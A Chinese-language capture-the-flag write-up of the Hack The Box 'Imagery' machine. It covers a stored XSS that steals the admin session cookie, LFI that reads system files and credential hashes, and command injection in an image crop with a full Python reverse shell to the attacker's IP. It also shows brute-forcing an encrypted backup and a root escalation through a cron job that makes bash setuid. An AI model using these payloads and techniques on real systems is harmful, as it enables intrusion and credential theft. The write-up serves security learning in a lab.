靶機簡介

在 Imagery 圖片上傳管理網站中,我們利用 Bug Reports 的 XSS 漏洞取得 admin 的 session。緊接著利用 Admin Panel 中 Download Log 的 LFI 漏洞取得 testuser 的帳密。最後利用 Crop Image 功能的 OS Command Injection 取得 web 的 shell。

接著我們在系統中發現加密的備份檔案,暴力破解後取得 mark 帳號的密碼,登入後透過濫用自製備份工具的權限取得 root shell。

Academy x HTB Labs

Box Info

Recon

首先一定是 nmap 伺候:

$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
...<SNIP>...

$ nmap -sC -sV -p22,8000 -vv -oA nmap/specific_ports 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...
  • 只有 HTTP(8000) 和 SSH(22)
  • Service Info 顯示是個 Linux server
  • 根據 http-server-header 看到網站是用 Werkzeug/3.1.3 Python/3.12.7 架的

那就直接逛網站,先編輯 /etc/hosts

10.129.33.54    imagery.htb

逛網站

看起來就是讓使用者自由上傳圖片並管理的網站:

網站有開放註冊,去 Register 註冊一個帳號:

註冊並成功登入以後:

推測上傳的圖片會出現在 Gallery,先去 Upload 上傳圖片看看:

隨便選個圖片上傳看看,通常我都會直接擷取當前網站的頁面當作上傳素材,文字欄位也順手看看有沒有 XSS:

點擊 Upload Image 上傳以後在 Gallery 就能看到圖片。它居然把我們的 <script> 給過濾掉並替換成原檔名了:

有些功能被關掉了,我們只能下載和刪除,透過 Download 得知圖片網址為 http://imagery.htb:8000/uploads/fa77b463-9a8e-4d12-b467-6a5b50b67d43_Screenshot_of_Image_Gallery.jpg

點擊未啟用功能會顯示 Feature still in production:

過一段時間以後我的圖片被系統刪除了:

搜查更多資訊

網站逛得差不多了,來看點其他東西。從 Wappalyzer 看到這是 Flask Web Server:

Burp Suite 的 Site Map 列出我們剛剛做過的事情:

/auth_status 會不斷和後端發送身份驗證,我們每做一個動作之前都會附上一次驗證:

可以看到有兩種身份組,Admin 和 Testuser,合理推測 Admin 會有隱藏的 Admin Panel,Testuser 可以使用圖片的測試功能。接著我用 raft-medium-words-lowercase.txt 枚舉看看:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'http://imagery.htb:8000/FUZZ' -request-proto http
...<SNIP>...
login                   [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 65ms]
images                  [Status: 401, Size: 59, Words: 4, Lines: 2, Duration: 68ms]
register                [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 70ms]
logout                  [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 82ms]
upload_image            [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 68ms]

但沒什麼新發現。

Shell as web

為了更深入調查,接著我便按 Ctrl + u 看前端程式碼,結果發現整個 script 都在裡面:

複製到編輯器看,透過 /^[a-z] 肉眼快速過濾有趣的函式以後,發現了幾個有趣的東西。首先,navigateTo 顯示確實有 Admin Panel 的存在,同時也告訴我們一個叫做 reportBug 的東西:

async function navigateTo(pageId) {
// ...<SNIP>...
    if ((targetPageId === 'gallery' || targetPageId === 'upload' || targetPageId === 'reportBug' || targetPageId === 'adminPanel')) {
        if (!authStatus.loggedIn) {
            showMessage('Please log in to access this page.', 'error');
            targetPageId = 'login';
        } else if (targetPageId === 'adminPanel' && !authStatus.isAdmin) {
            showMessage('Access Denied: You must be logged in as an administrator.', 'error');
            targetPageId = 'login';
        }
    }
// ...<SNIP>...
}

在很多函式開頭也可以看到驗證是否為 Test User,證實了我們的猜測:

function handleConvertImage(imageId) {
    if (!loggedInUserIsTestUser) {
        showMessage('Feature still in production.', 'error');
        return;
    }
// ...<SNIP>...
}

XSS

接著重點關注 Gallery、Admin Panel 和 Bug Report 相關程式碼,發現幾乎所有的使用者輸入變數都會使用 DOMPurify.sanitize(username) 過濾,然而有個例外,就是 loadBugReports 中的 report.details

reportCard.innerHTML = `
    <div>
        <p class="...">Report ID: ${DOMPurify.sanitize(report.id)}</p>
        <p class="...">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
        <h3 class="...">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
        <h3 class="...">Bug Details:</h3>
        <div class="...">
            ${report.details}
        </div>
    </div>
    <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="...">
        Delete
    </button>
`;

或許我們可以拿這點當作突破口,注入 XSS 攻擊以竊取 Admin 的 session,從 loadAdminPanelContent 內的 loadBugReports 也證明了這一可能。之後我在前端原始碼翻才發現原來 footer 還有 Report Bug 的入口 …

點進去以後確實看到 report.details 的填寫處了:

先建一個 Python Server:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...

送出後不久就有消息了:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.33.54 - - [28/Aug/2026 22:33:50] code 404, message File not found
10.129.33.54 - - [28/Aug/2026 22:33:50] "GET /bugDetails HTTP/1.1" 404 -

喔耶!看來可以偷偷看 admin session 了。從 PayloadsAllTheThings 偷範例來用:

不要直接在網頁送出, + 會被吃掉。

不久後就能收到 cookie 了:

10.129.33.54 - - [28/Aug/2026 22:42:50] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.apGeQA.6I7O7rSNllorYQdS_0_wdn8vlLA HTTP/1.1" 200 -

直接在 F12 貼上覆蓋原本的 session 並刷新後,首頁就多出了 Admin Panel,證明我們成功變成 Admin 了:

進去以後可以看到我們上傳的 Bug Reports,以及另一個使用者 testuser:

LFI

點擊 admin 的 Download Log 可以下載相關日誌:

[2026-08-28T14:30:08.473233] Logged in successfully.
[2026-08-28T14:30:08.476038] Logged in successfully.
[2026-08-28T14:31:08.352961] Logged in successfully.
[2026-08-28T14:31:08.354048] Logged in successfully.
[2026-08-28T14:32:08.135508] Logged in successfully.
...<SNIP>...

應該是有個機器人不斷自動登入 admin 帳號,因為我們的 XSS 成功了,所以它大概還持續掃描 Admin Panel。讓我們看看具體的日誌請求長什麼樣子:

看到這個 log_identifier 我忍不住手癢想試 LFI,結果真被我試中了,甚至不需要跳脫手段:

$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -request get_system_log_req.txt -request-proto http -fs 186,0 -ac
...<SNIP>...
/etc/shadow             [Status: 500, Size: 95, Words: 8, Lines: 2, Duration: 68ms]
/etc/sudoers            [Status: 500, Size: 96, Words: 8, Lines: 2, Duration: 62ms]
/etc/ssh/sshd_config    [Status: 200, Size: 3545, Words: 323, Lines: 132, Duration: 62ms]
/var/log/dmesg          [Status: 500, Size: 98, Words: 8, Lines: 2, Duration: 65ms]
/var/log/auth.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 66ms]
/var/log/kern.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 68ms]
/var/log/syslog         [Status: 500, Size: 99, Words: 8, Lines: 2, Duration: 68ms]
/var/log/wtmp           [Status: 200, Size: 8448, Words: 1, Lines: 3, Duration: 81ms]
/var/run/utmp           [Status: 200, Size: 1152, Words: 1, Lines: 1, Duration: 64ms]
///////../../../etc/passwd [Status: 200, Size: 1982, Words: 17, Lines: 39, Duration: 60ms]

/etc/passwd 並過濾 sh$

root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

透過 /proc/self/environ 看到目前 USER 是 web

LANG=en_US.UTF-8�PATH=/home/web/web/env/bin:/sbin:/usr/bin�USER=web�LOGNAME=web�HOME=/home/web�SHELL=/bin/bash�INVOCATION_ID=a891de7e21364f8f9cc12b6f7f17c735�JOURNAL_STREAM=9:18007�SYSTEMD_EXEC_PID=1402�MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure�MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=�CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p/runL!�

接著我就在 /proc/self/cwd 亂猜 main 檔名,最後是 app.py 命中:

app.py 為出發點看 import 不斷拿檔案,總共拿到了這麼多檔案:

api_admin.py
api_auth.py
api_edit.py
api_manage.py
api_misc.py
api_upload.py
app.py
config.py
db.json

首先我在 db.json 看到了一些機敏資料:

"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "isAdmin": true,
        "displayId": "a1b2c3d4",
        "login_attempts": 0,
        "isTestuser": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "isAdmin": false,
        "displayId": "e5f6g7h8",
        "login_attempts": 0,
        "isTestuser": true,
        "failed_login_attempts": 0,
        "locked_until": null
    }
],

放到 CrackStation 可以試出 testuser 的密碼 iambatman

testuser@imagery.htb:iambatman 確實可以登入網站,首頁也新增了 Manage Groups 的功能:

OS Command Injection

上傳圖片以後,可以看到解鎖了許多功能:

接著繼續讀原始碼,先從幾個比較有可能出事的函式下手,像是 subprocessopeneval 之類的,果然在 apply_visual_transformsubprocess.run 就有個變數沒有過濾,和前面一樣:

if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

於是我們就可以試試看 OS Command Injection。點擊 Transform Image:

之後選擇 Crop:

隨便填參數後按 Apply Transformation,並用 proxy 攔截。在某個參數注入 command,我先在 x 注入 "0;sleep 5;",最後系統成功暫停了約莫五秒才回傳 (trust me bro):

接著我們就可以試 reverse shell 了,在試了各種 reverse shell 以後,最終 Python3 的成功了:

"0;export RHOST=\"10.10.17.56\";export RPORT=6061;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"sh\")'"

我們拿到的是 web 的 shell:

$ nc -lvnp 6061
listening on [any] 6061 ...
connect to [10.10.17.56] from (UNKNOWN) [10.129.33.54] 33808

$ id
id
uid=1001(web) gid=1001(web) groups=1001(web)

Shell as mark

升級 TTY 以後直接拿 linpeas.sh 下去炸,讓 Claude 分析以後發現有幾個有趣的地方。首先它發現了可疑的 Backup 檔案:

╔══════════╣ Backup folders (T1552.001)
...<SNIP>...
drwxr-xr-x 2 root root 4096 Sep 22  2025 /var/backup
total 22516
-rw-rw-r-- 1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes
...<SNIP>...

接著它找到了使用者自己安裝的 pyAesCrypt

╔══════════╣ Executable files potentially added by user (limit 70) (T1083)
...<SNIP>...
2025-07-30+11:25:49.2198698390 /usr/local/bin/pyAesCrypt
...<SNIP>...

查了才知道 .aes 是某個用 AES Crypt 加密的檔案,而 pyAesCrypt 則是某個用 AES256-CBC 加解密的工具。

於是接下來目的很明確了,我們要利用 pyAesCrypt 嘗試破解這個 .aes 檔案。把 web_20250806_120723.zip.aes 搬到本機,並寫了一個很簡陋的爆破腳本(甚至沒有 multithread xD):

import pyAesCrypt
 
with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
    count = 0
    for pw in f:
        count += 1
        if count % 5000 == 0:
            print(count)
 
        pw = pw.rstrip('\n')
        try:
            pyAesCrypt.decryptFile('web_20250806_120723.zip.aes', 'out.zip', pw)
            print(pw); break
        except ValueError:
            pass

本來是想邊跑邊修的,但出乎我意料,馬上跳出結果:

$ uv run main.py
bestfriends

在目錄下就多出了 out.zip,解壓後就可以得到上一個版本的 web 原始碼:

$ ls -al web
total 100
drwxrwxr-x 6 abb00717 abb00717  4096 Aug 29 01:27 .
drwxr-xr-x 3 abb00717 abb00717  4096 Aug 29 01:27 ..
-rw-rw-r-- 1 abb00717 abb00717  9784 Aug  5  2025 api_admin.py
-rw-rw-r-- 1 abb00717 abb00717  6398 Aug  5  2025 api_auth.py
-rw-rw-r-- 1 abb00717 abb00717 11876 Aug  5  2025 api_edit.py
-rw-rw-r-- 1 abb00717 abb00717  9091 Aug  5  2025 api_manage.py
-rw-rw-r-- 1 abb00717 abb00717   840 Aug  5  2025 api_misc.py
-rw-rw-r-- 1 abb00717 abb00717 12082 Aug  5  2025 api_upload.py
-rw-rw-r-- 1 abb00717 abb00717  1943 Aug  5  2025 app.py
-rw-rw-r-- 1 abb00717 abb00717  1809 Aug  5  2025 config.py
-rw-rw-r-- 1 abb00717 abb00717  1503 Aug  6  2025 db.json
drwxrwxr-x 5 abb00717 abb00717  4096 Aug 29 01:27 env
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 __pycache__
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 system_logs
drwxrwxr-x 2 abb00717 abb00717  4096 Aug 29 01:27 templates
-rw-rw-r-- 1 abb00717 abb00717  4023 Aug  5  2025 utils.py

db.json 我們找到了新的密碼:

"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "displayId": "f8p10uw0",
        "isTestuser": false,
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "displayId": "8utz23o5",
        "isTestuser": true,
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "mark@imagery.htb",
        "password": "01c3d2e5bdaf6134cec0a367cf53e535",
        "displayId": "868facaf",
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    },
    {
        "username": "web@imagery.htb",
        "password": "84e3c804cf1fa14306f26f9f3da177e0",
        "displayId": "7be291d4",
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    }
],

兩個新密碼都可以被破解:

mark:supersmash 即可登入 mark 帳號:

web@Imagery:~/web$ su - mark
Password:

mark@Imagery:~$ cat user.txt
f3e1************************ce40

Shell as root

既然有密碼,那先看看 sudo -l

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

首先執行看看 charcol

mark@Imagery:~$ sudo /usr/local/bin/charcol --help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system password verification).

看到有 shell 就想試試看,但很可惜需要密碼:

mark@Imagery:~$ sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):
[2026-08-28 17:37:28] [ERROR] An unhandled error occurred (Error ID: aa0bcf8e-c6f1-4a3a-8fb7-98078b495e47):
[2026-08-28 17:37:28] [ERROR] Please submit the log file and the following error details to error@charcol.com if the issue persists:
[2026-08-28 17:37:28] [ERROR] Traceback (most recent call last):
[2026-08-28 17:37:28] [ERROR] File "/usr/local/lib/charcol//charcol.py", line 250, in <module>
    main()
[2026-08-28 17:37:28] [ERROR] File "/usr/local/lib/charcol//charcol.py", line 69, in main
    loaded_app_password, loaded_app_password_status = _load_app_password_status(
                                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^
...<SNIP>...
[2026-08-28 17:37:28] [ERROR] KeyboardInterrupt

這東西看起來是 Python 腳本,但很可惜相關腳本我們都無法讀取:

mark@Imagery:/tmp$ ls -al /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug  4  2025 /usr/local/bin/charcol

mark@Imagery:~$ ls -al /usr/local/lib/charcol
ls: cannot open directory '/usr/local/lib/charcol': Permission denied

我有上網試著搜尋原始碼,但沒有結果,看來這是作者自己做的工具,那就只好繼續玩。既然要我們輸入密碼,那就試看看 -R 可不可以重置密碼,結果輸入 mark 的密碼就可以重置了:

mark@Imagery:~$ sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2026-08-28 17:38:52] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2026-08-28 17:38:56] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

再用一次 shell 看看,可以看到這次已經不需要密碼了:

mark@Imagery:~$ sudo /usr/local/bin/charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2026-08-28 17:40:05] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

mark@Imagery:~$ sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0

[2026-08-28 17:40:39] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>

首先輸入 help 看有哪些可用的指令,只能說這個 Automated Jobs 特別顯眼啊:

charcol> help
[2026-08-28 17:41:04] [INFO]
Charcol Shell Commands:
...<SNIP>...
  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

試試看,大概是沒問題了:

charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb" --name "HEHE IM SO BAD"
[2026-08-28 17:51:23] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2026-08-28 17:51:26] [INFO] System password verified successfully.
[2026-08-28 17:51:26] [INFO] Auto job 'HEHE IM SO BAD' (ID: 92feb663-ca81-494a-8674-f744899fe4b7) added successfully. The job will run according to schedule.
[2026-08-28 17:51:26] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
charcol> auto list
[2026-08-28 17:51:29] [INFO] Charcol-managed auto jobs:
[2026-08-28 17:51:29] [INFO]   ID: 92feb663-ca81-494a-8674-f744899fe4b7
[2026-08-28 17:51:29] [INFO]   Name: HEHE IM SO BAD
[2026-08-28 17:51:29] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
[2026-08-28 17:51:29] [INFO] ------------------------------
charcol> exit
[2026-08-28 17:51:30] [INFO] Exiting Charcol shell.

原本我是放在 /tmp 的,但不知為何還是原本的 mark,放到 /var/tmp 才成功提權。

果然沒過多久就出現了:

mark@Imagery:~$ ls -al /var/tmp/abb
-rwsrwxrwx 1 root root 1474768 Aug 28 17:52 /var/tmp/abb

mark@Imagery:~$ /var/tmp/abb -p
abb-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)

abb-5.2# cat /root/root.txt
8aa9************************cd2b

Bonus

因為發現前幾次 writeup 讀起來很拖沓,所以這次 writeup 我試著不要這麼多廢話,情緒不那麼激動,也適當減掉某些部份以維持閱讀節奏,不再忠於「全過程」老實的紀錄。但我又覺得一些失誤不紀錄起來又很可惜,所以就改成 Info Box 在旁邊輕筆帶過。

原本全紀錄的初衷是為了做出 Live Coding 的那種味道,像是這樣的影片:

不過這種形式果然還是直播效果最好啊,而且要讓思維非常清晰的人拍才會有人想看,像我目前真的沒這個能力,那就乖乖當一般人就好了 xD

延伸閱讀